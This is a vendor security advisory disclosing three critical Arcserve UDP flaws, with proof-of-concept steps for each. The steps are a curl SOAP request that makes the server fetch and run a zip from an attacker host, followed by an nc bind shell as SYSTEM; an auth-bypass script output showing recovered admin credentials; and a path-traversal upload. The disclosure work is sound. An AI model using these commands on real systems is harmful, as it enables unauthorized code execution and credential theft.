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Arcserve Unified Data Protection Multiple Vulnerabilities

Critical

Synopsis

CVE-2023-41998 - Arcserve UDP Unauthenticated RCE 

(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

 

An unauthenticated, remote attacker can execute code remotely via the downloadAndInstallPatch() routine within “com.ca.arcflash.rps.webservice.RPSService4CPMImpl.” This routine allows users to upload and execute arbitrary files.

 

For example, when triggering this method, a malicious actor can cause the service to download a zip file from an attacker-controlled URL to <UDP_INSTALL_DIR>\Engine\BIN\patch\. The zip file is subsequently decompressed and a decompressed EXE file with the same file name as the zip file (i.e., foo.exe zipped to foo.zip) is then executed.

 

Proof of Concept

# On <attacker-host>, create a malicious zip/exe to be hosted and later referenced
# Run a web server to serve the zip file
# The webroot should be the parent directory because the download URL must have at least 4 slashes
/tmp/download# python3 -m http.server -d ../
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

# On a separate terminal, run:
curl -ki -H 'Content-Type: text/xml' -d '<?xml version="1.0" encoding="UTF-8"?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns2:downloadAndInstallPatch xmlns:ns2="http://webservice.arcflash.ca.com"><arg0>http://<attacker-host>:8000/download/shell_bind_tcp.zip</arg0></ns2:downloadAndInstallPatch></S:Body></S:Envelope>' 'https://<target-host>:8014/RPSWebServiceImpl/services/RPSService4CPMImpl'

# Connect to target host
nc <target-host> 4444
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Program Files\Arcserve\Unified Data Protection\Common\Tomcat>whoami
whoami
nt authority\system

CVE-2023-41999 - Arcserve UDP Management Authentication Bypass 

(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

 

Arcserve UDP management console supports authentication with a UUID (i.e.,ValidateUserByUUID()). An unauthenticated remote attacker can obtain a valid authentication UUID to login to the console.

 

Once authenticated, the attacker can perform actions that require authentication. For example, the attacker can grab the "Edge Account" (i.e., Administrative) credentials.

 

Proof of Concept

python3 arcserve_udp_console_auth_bypass.py <target-host>
[*] Getting hostUuid
        [+] hostUuid: b86e10f6-60d5-4244-82ce-8afe90fc0170
[*] Calling validateUserByUUID
        [+] Login OK
[*] Calling getEdgeAccount
        [+] username: administrator
        [+] domain  : .
        [+] encrypted password: ca942ee002fb24339b5ff64ccdd647b9d131cdd5db10b59ca3b20c796365500d
        [+] decrypted password: Password123

CVE-2023-42000 - Arcserve UDP Agent Unauthenticated Path Traversal File Upload 

(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

 

A path traversal vulnerability exists in com.ca.arcflash.ui.server.servlet.FileHandlingServlet.doUpload(). An unauthenticated remote attacker can exploit it to upload arbitrary files to any location on the file system where the UDP agent is installed.

 

Proof of Concept

echo -n 'malicious content' > /tmp/malicious_file
curl -ki -F 'file=@/tmp/malicious_file;filename=/../../../../../../../../../Windows/System32/malicious_file'  'https://<target-host>:8014/fileHandling?action=upload'

Solution

Upgrade to Arcserve UDP version 9.2 or later.

For customers using the previous version or unable to upgrade to UDP 9.2, the following patches have also been made available:

Disclosure Timeline

August 28, 2023 - Tenable discloses to vendor. Vendor acknowledges receipt.
August 29, 2023 - Vendor requests PoC file. Tenable sends file.
September 5, 2023 - Vendor confirms issues.
September 6, 2023 - Tenable provides vendor with CVE identifiers.
September 7, 2023 - Vendor provides timeline and requests attribution.
September 12, 2023 - Tenable responds.
October 18, 2023 - Tenable requests status update.
October 19, 2023 - Vendor provides status update.
November 3, 2023 - Vendor states releases are ready ahead of schedule and requests disclosure draft.
November 7, 2023 - Tenable provides draft.
November 17, 2023 - Vendor provides status update and release timeline.
November 20, 2023 - Tenable acknowledges.
November 24, 2023 - Vendor notifies Tenable of publication.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2023-37
Affected Products:
Arcserve UDP prior to 9.2
Risk Factor:
Critical

Advisory Timeline

November 27, 2023 - Initial release.
November 28, 2023 - Added additional patch information.
November 29, 2023 - Corrected typo in synopsis.

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